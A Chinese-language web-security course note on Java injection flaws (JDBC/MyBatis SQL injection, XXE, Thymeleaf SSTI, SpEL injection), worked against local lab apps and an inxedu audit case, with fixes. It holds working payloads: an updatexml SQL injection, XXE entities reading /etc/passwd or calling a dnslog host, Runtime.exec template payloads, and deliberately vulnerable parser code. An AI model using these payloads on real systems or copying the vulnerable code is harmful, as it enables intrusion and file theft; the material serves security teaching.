Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

这篇具有很好参考价值的文章主要介绍了Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

JavaSec搭建

Hello-Java-Sec搭建

Java安全-SQL注入-JDBC&MyBatis

JDBC:Java语言连接数据库操作

MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc)

代码审计案例:inxedu后台MyBatis注入

Java安全-XXE注入-Reader&Builder

配置XML允许引入外部解析实体

白盒测试-XXE

Java安全-SSTI模版-Thymeleaf&URL

URL作视图

白盒角度测试URL做视图

Thymeleaf-黑白盒测试思路

Thymeleaf引擎使用案例

黑盒角度测试Thymeleaf SSTI

白盒角度测试Thymeleaf SSTI

Java安全-SPEL表达式注入-SpringBoot框架

Spring表达式

Spring反射绕过(黑名单过滤)

SPEL表达式注入思路

漏洞修复


知识点:

1、Java安全-SQL注入-JDBC&MyBatis

2、Java安全-XXE注入-Reader&Builder

3、Java安全-SSTI模版-Thymeleaf&URL

4、Java安全-SPEL表达式-SpringBoot框架

JavaSec搭建

项目下载地址:https://github.com/bewhale/JavaSec

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

使用java8运行jar文件

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

登录账号密码均为admin

Hello-Java-Sec搭建

项目下载地址:https://github.com/j3ers3/Hello-Java-Sec

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

java8 -jar javasec-1.11.jar

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

登录账号密码均为admin

Java安全-SQL注入-JDBC&MyBatis

Java操作数据库的三种方式:JDBC,MyBatis,Hibernate

-Hibernate

Hibernate是一个Java持久化框架,它提供了一种将对象映射到关系数据库表的机制。通过Hibernate,开发人员可以使用面向对象的方式来操作数据库,而不需要编写复杂的SQL语句。

Hibernate的核心思想是对象关系映射(Object-Relational Mapping,ORM),它将Java对象和数据库表之间建立了映射关系,使开发人员可以通过操作Java对象来实现对数据库的操作,而无需直接操作SQL语句。

Hibernate提供了一系列的API和工具,用于处理对象的持久化、查询、缓存和事务管理等方面。它还提供了一个强大的查询语言HQL(Hibernate Query Language),类似于SQL语法,但更加面向对象。

使用Hibernate可以简化开发过程,提高效率,并且具有良好的跨数据库兼容性。它是Java开发中最流行的ORM框架之一,被广泛应用于企业级应用程序的开发中。
Hibernate作为一个成熟的框架,在安全性方面表现良好,并且经过了广泛的安全测试和修复。

-JDBC
1、采用Statement方法拼接SQL语句
2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
安全写法:SQL语句占位符(?) + PrepareStatement预编译

-MyBatis
MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。
1、order by注入:由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
2、like 注入:模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.

-代码审计案例:inxedu后台MyBatis注入

JDBC:Java语言连接数据库操作

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

方式一:采用Statement方法拼接SQL语句(没有预编译)

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

URL编码解码平台:https://tool.chinaz.com/tools/urlencode.aspx

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) 

  • 将一个波浪符(~)与当前用户的用户名拼接起来,并将该值作为XML节点的新值更新到XML文档中。
  • 括号中的concat(0x7e,(SELECT user()),0x7e)表示将波浪符与当前用户的用户名连接起来。
  • 0x7e是一个十六进制数,表示的是一个特定的 ASCII 字符,即波浪符(~)。

方式二:PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。

这种方式不能避免SQL语句的拼接

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

安全写法:SQL语句占位符(?) + PrepareStatement预编译

事实证明,最框架的不安全使用会造成SQL注入漏洞

大型网站不用想,小型网站有测试的价值

MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc)

MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。(造成注入原因也是因为使用了$进行拼接)

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

order by 造成SQL注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

这个SQL语句的目的是将0x7e以及当前用户的用户名插入到指定的XML字段中,从而执行恶意操作或泄露敏感信息。

  • 第一个参数是要更新的XML字段
  • 第二个参数是XPath表达式  ~admin
  • 第三个参数是要更新的新值。

在这个例子中,使用了concat函数来拼接字符串,包括特殊字符0x7e(波浪符)以及查询当前用户的子查询select user()。

like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

白盒审计

在真实情况下,需要先分析源码里用了那种方式操作数据库(JDBC还是MyBatis),然后在针对性看代码写法,JDBC如果没用到安全写法,那么就容易出现问题。MyBatis看代码用了$还是#,#号就可以不用看了,$符号就看是不是在order by、like、in里面,在就恭喜了。

代码审计案例:inxedu后台MyBatis注入

1、配置安装源码

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

端口要与配置文件一致

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

默认/inxedu_war路径即可

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

启动项目后报错:

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

2、代码审计分析

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

通过java文件名判断应该是admin目录,登录后台。

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

直接把整个请求数据包放到txt给sqlmap跑即可

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Java安全-XXE注入-Reader&Builder

XXE  ( XML  External Entity Injection ),  XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

XML(可扩展标记语言)是一种用于表示和传输结构化数据的标记语言。它被设计成具有可读性强且可扩展的特点,常用于在不同系统之间进行数据交换和存储。

XML使用标签来描述数据的结构和含义。每个XML文档都由标签和内容构成,标签用于标识数据的元素,而内容则是元素的具体值或子元素。标签可以嵌套,形成层次结构,以便表示复杂的数据关系.

在代码审计时需要审计这些XML处理函数,这是一些与XML处理相关的类和接口的列表。它们通常在编程语言中的XML解析库或API中使用,用于读取、解析、转换和处理XML数据。

  • XMLReader:用于顺序读取XML文档的内容,并提供了一种基于事件的方式来处理XML数据。
  • SAXReader:一种用于读取和解析XML文档的SAX(Simple API for XML)解析器。
  • DocumentBuilder:用于创建DOM(Document Object Model)对象的接口,可以将XML文档加载到内存中进行操作。
  • XMLStreamReader:一种用于读取和解析XML文档的StAX(Streaming API for XML)解析器。
  • SAXBuilder:用于构建SAX解析器的类,用于读取和解析XML文档。
  • SAXParser:一种用于解析XML文档的SAX解析器。
  • SAXSource:用于将SAX事件作为输入源的对象,可以用于将SAX解析器与其他处理器(如XSLT转换器)进行连接。
  • TransformerFactory:用于创建Transformer对象的工厂类,可以将XML文档进行转换、处理和生成。
  • SAXTransformerFactory:用于创建SAXTransformerHandler对象的工厂类,可以在SAX事件处理期间进行XML转换和处理。
  • SchemaFactory:用于创建XML Schema验证器的工厂类,可以用于验证XML文档的结构和内容。
  • Unmarshaller:用于将XML文档解组为Java对象的接口,通常与Java的XML绑定技术(如JAXB)一起使用。
  • XPathExpression:用于执行XPath查询的接口,可以在XML文档中查找和选择特定的元素和属性。

配置XML允许引入外部解析实体

方式一:在application.properties(或application.yml)文件中添加以下配置

spring.xml.parser.enabled=true

方式二:在XML中启用外部实体解析需要进行相关配置。具体的配置方法可能因为使用的XML解析器和库的不同而有所差异。

下面是一些通用的配置方法:

// 使用DocumentBuilderFactory:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);

// 使用SAXParserFactory
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);

// 使用TransformerFactory
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, false);

这些配置方法通常通过设置相关的特性或属性来实现。具体要设置的特性或属性名称可能因使用的解析器和库的不同而有所差异。上述示例中提到了一些常用的特性或属性名称,但具体的名称可能需要根据你使用的解析器和库进行适当的调整。

黑盒测试:https://blog.csdn.net/m0_51345235/article/details/131503666

白盒测试-XXE

思路:

  • 判断是否开启XML外部实体解析
  • 全局搜索关键类的名字,看看有没有参数可控

SAXParser

    /**
     * javax.xml.parsers.SAXParser 是 XMLReader 的替代品,它提供了更多的安全措施,
     * 例如默认禁用 DTD 和外部实体的声明,
     * 如果需要使用 DTD 或外部实体,可以手动启用它们,并使用相应的安全措施
     */
    @ApiOperation(value = "vul:SAXParser")
    @RequestMapping(value = "/SAXParser")
    public String SAXParser(@RequestParam String content) {
        try {
            // SAXParserFactory是用于创建SAXParser实例的工厂类。newInstance()方法将返回一个新的SAXParserFactory实例。
            SAXParserFactory factory = SAXParserFactory.newInstance();
            // 通过SAXParserFactory的newSAXParser()方法创建一个新的SAXParser实例,并将其赋值给变量parser。
            SAXParser parser = factory.newSAXParser();
            // 创建一个InputSource对象,将XML内容作为StringReader的输入源。
            // 调用SAXParser的parse()方法,将InputSource对象和DefaultHandler对象作为参数传入。这将触发SAX解析过程,并开始解析和处理XML内容。
            parser.parse(new InputSource(new StringReader(content)), new DefaultHandler());
            return "SAXParser XXE";
        } catch (Exception e) {
            return e.toString();
        }
    }

xmlReader漏洞代码

    /**
     * @poc http://127.0.0.1:8888/XXE/XMLReader
     * Content-Type: application/xml
     * payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]><root>&xxe;</root>
     */
    @ApiOperation(value = "vul:XMLReader")
    @RequestMapping(value = "/XMLReader")
    public String XMLReader(@RequestParam String content) {
        try {
            log.info("[vul] XMLReader: " + content);
            // XMLReader接口和XMLReaderFactory类来创建一个XML解析器(XML Parser)
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // 修复:禁用外部实体
            // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            // 使用XMLReader对象xmlReader来解析XML内容
            xmlReader.parse(new InputSource(new StringReader(content)));
            return "XMLReader XXE";
        } catch (Exception e) {
            return e.toString();
        }
    }

DocumentBuilder漏洞代码

    /**
     * @poc http://127.0.0.1:8888/XXE/DocumentBuilder
     * payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><person><name>&xxe;</name></person>
     */
    @ApiOperation(value = "vul:DocumentBuilder类")
    @RequestMapping(value = "/DocumentBuilder")
    public String DocumentBuilder(@RequestParam String content) {
        try {
            // DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

            DocumentBuilder builder = factory.newDocumentBuilder();
            StringReader sr = new StringReader(content);
            InputSource is = new InputSource(sr);
            Document document = builder.parse(is);

            NodeList nodeList = document.getElementsByTagName("person");
            Element element = (Element) nodeList.item(0);
            return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());

        } catch (Exception e) {
            return e.toString();
        }
    }

SAXReader漏洞代码

    @ApiOperation(value = "vul:SAXReader")
    @RequestMapping(value = "/SAXReader")
    public String SAXReader(@RequestParam String content) {
        try {
            SAXReader sax = new SAXReader();
            // 修复:禁用外部实体
            // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            sax.read(new InputSource(new StringReader(content)));
            return "SAXReader XXE";
        } catch (Exception e) {
            return e.toString();
        }
    }

Unmarshaller漏洞代码

    /**
     * @poc http://127.0.0.1:8888/XXE/unmarshaller (POST)
     * payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/passwd">]><student><name>&out;</name></student>
     */
    @ApiOperation(value = "vul:Unmarshaller")
    @RequestMapping(value = "/unmarshaller")
    public String Unmarshaller(@RequestBody String content) {
        try {

            JAXBContext context = JAXBContext.newInstance(Student.class);
            Unmarshaller unmarshaller = context.createUnmarshaller();

            XMLInputFactory xif = XMLInputFactory.newFactory();
            // 修复:禁用外部实体
            // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
            // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

            // 默认情况下在1.8版本上不能加载外部dtd文件,需要更改设置。
            // xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
            // xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
            XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));

            Object o = unmarshaller.unmarshal(xsr);
            log.info("[vul] Unmarshaller: " + content);

            return o.toString();

        } catch (Exception e) {
            e.printStackTrace();
        }
        return "出错了!";
    }

SAXBuilder漏洞代码

    @ApiOperation(value = "vul:SAXBuilder", notes = "是一个JDOM解析器,能将路径中的XML文件解析为Document对象")
    @RequestMapping(value = "/SAXBuilder")
    public String SAXBuilder(@RequestBody String content) {
        try {
            SAXBuilder saxbuilder = new SAXBuilder();
            // saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            saxbuilder.build(new InputSource(new StringReader(content)));
            return "SAXBuilder XXE";
        } catch (Exception e) {
            return e.toString();
        }
    }

Java安全-SSTI模版-Thymeleaf&URL

SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf
其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html

有时间学学正则表达式;https://www.jyshare.com/front-end/854/

URL作视图

原理: 根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

/doc/xxxx,xxxx会被匹配到存储进入document,然后就被模板引擎解析,就会造成RCE

payload:__${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x

白盒角度测试URL做视图

查找含参数@GetMapping路由 无return,先正则@GetMapping\(.*?\)\s*public\s+void/gm

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

注意 多行匹配加全局搜索 这样才不会遗漏

Thymeleaf-黑白盒测试思路

Thymeleaf是一种Java服务器端模板引擎,用于构建动态的Web应用程序。它允许开发人员将数据和逻辑与HTML模板结合,生成最终的HTML页面。它与Spring框架紧密集成,是目前Java开发中广泛使用的模板引擎之一。

Thymeleaf SSTI 模板注入漏洞利用条件:3.0.0 至 3.0.11 版本;3.0.12以后版本已被修复,有bypass方式。即使版本符合也要没有过滤。

Thymeleaf引擎使用案例

HTML页面的中文显示和英文显示切换功能实现

下面的代码会从lang会接收参数,

  • 如果接收en就会返回字符串 lang/en
  • 如果接收zh就会返回字符串 lang/zh

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

返回的字符串实际上是一个相对路径,会被Thymeleaf引擎解析为对应的模板文件路径。根据约定,默认情况下,Thymeleaf会在src/main/resources/templates目录下查找对应的模板文件

因此,如果存在src/main/resources/templates/lang/en.html文件,Thymeleaf引擎会对该模板文件进行处理,并将处理结果返回给客户端。如果该文件不存在,可能会导致异常或返回一个默认的错误页面。

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Maven-父级依赖管理

使用IDEA创建的springboot项目,thymeleaf版本不可见

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

这个依赖声明的artifactId是spring-boot-starter-thymeleaf。要确定Thymeleaf的版本,你可以查看该依赖的父级依赖管理。在Spring Boot项目中,通常会有一个名为spring-boot-dependencies的父级依赖管理,其中定义了各种Spring Boot相关的依赖版本。

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

可以看到spring-boot-dependencies的版本号为2.4.1。因此,Thymeleaf的版本号应该与Spring Boot的版本号相对应。你可以在Spring Boot的官方文档或官方仓库中找到特定版本的Spring Boot所使用的Thymeleaf版本。或者查看maven管理的jar来判断

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

通过指定<parent>元素,子模块可以继承父级依赖管理中定义的依赖和配置信息,以确保子模块使用与父模块相同的版本号和配置。

在这个片段中:

  • <groupId>指定了Spring Boot的组ID为org.springframework.boot
  • <artifactId>指定了父级依赖的ID为spring-boot-starter-parent
  • <version>指定了使用的版本号为2.4.1。
  • <relativePath/>是用于指定父级pom.xml文件的相对路径的。在这个片段中,没有提供具体的相对路径,意味着Maven将在本地仓库中查找该父级依赖的pom.xml文件。

通过继承spring-boot-starter-parent作为父级依赖,子模块可以享受到Spring Boot提供的默认配置和插件,以及统一管理的依赖版本。这样可以简化子模块的配置,并确保所有子模块使用相同的依赖和配置。

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.1</version>
        <relativePath/>
</parent>

<groupId>指定了Spring Boot的组ID为org.springframework.boot,<artifactId>指定了依赖的ID为spring-boot-starter-thymeleaf。

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

如果想要修改这个组件的版本,可以在网站上搜索:https://mvnrepository.com/artifact/org.thymeleaf/thymeleaf/3.0.0.ALPHA02

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

黑盒角度测试Thymeleaf SSTI

原理:通过利用Thymelear表达式

参考文章:https://www.cnblogs.com/hjwublog/p/5051632.html

${}:用于访问容器上下文环境中的变量

例如:${user.name}将被替换为用户的名称。

payload:__${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x

因为${},可以访问上下文环境变量,通过T(java.lang.Runtime)获取Runtime类的实例,然后调用exec("open -a Calculator")方法来执行命令 open -a Calculator。

paylaod构造思路:通过${}::.x构造表达式会由Thymeleaf去执行

里面的类可以用别的,比如:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

参考文章:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

漏洞发现:切换主题/背景 的功能区,将参数改为 payload

白盒角度测试Thymeleaf SSTI

先确定thymeleaf的版本,漏洞利用版本:3.0.0 至 3.0.11 版本

正则表达式搜索特征:https://www.jyshare.com/front-end/854/

思路一:全局搜索 return "

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

同时配合 src/main/resources/templates 目录下的文件,是否有类似上面的形式,并且有可控参数

Java安全-SPEL表达式注入-SpringBoot框架

SpEL Spring Expression Language )表达式注入 ,  是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。

1Spring表达式

2Spring反射绕过

参考:https://www.freebuf.com/vuls/197008.html

Spring表达式

漏洞原理:参数可控,standarEvaluationContext包含上下文对象,可以提供对象,函数,类等信息给Spel表达式,getValue()执行表达式

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

Spring反射绕过(黑名单过滤)

原有注入手段失效

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

被关键字段检测到

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

把关键字拆分组合绕过

Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入,Web攻防,Web安全

SPEL表达式注入思路

1、通过maven,全局搜索一下 org.springframework.expression.spel.standard

2、搜索关键字  SpelExpressionParser  创造SPEL表达式对象的

3、再看看有没getValue(),SPEL表达式执行函数

4、有没有可控参数

漏洞修复

放弃使用 standarEvaluationContext ,权限太大了。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用。文章来源地址https://www.toymoban.com/news/detail-857164.html

// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用

public String spelSafe(String ex) {
    ExpressionParser parser = new SpelExpressionParser();

    EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();

    Expression exp = parser.parseExpression(ex);
    String result = exp.getValue(simpleContext).toString();
    return result;

到了这里,关于Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

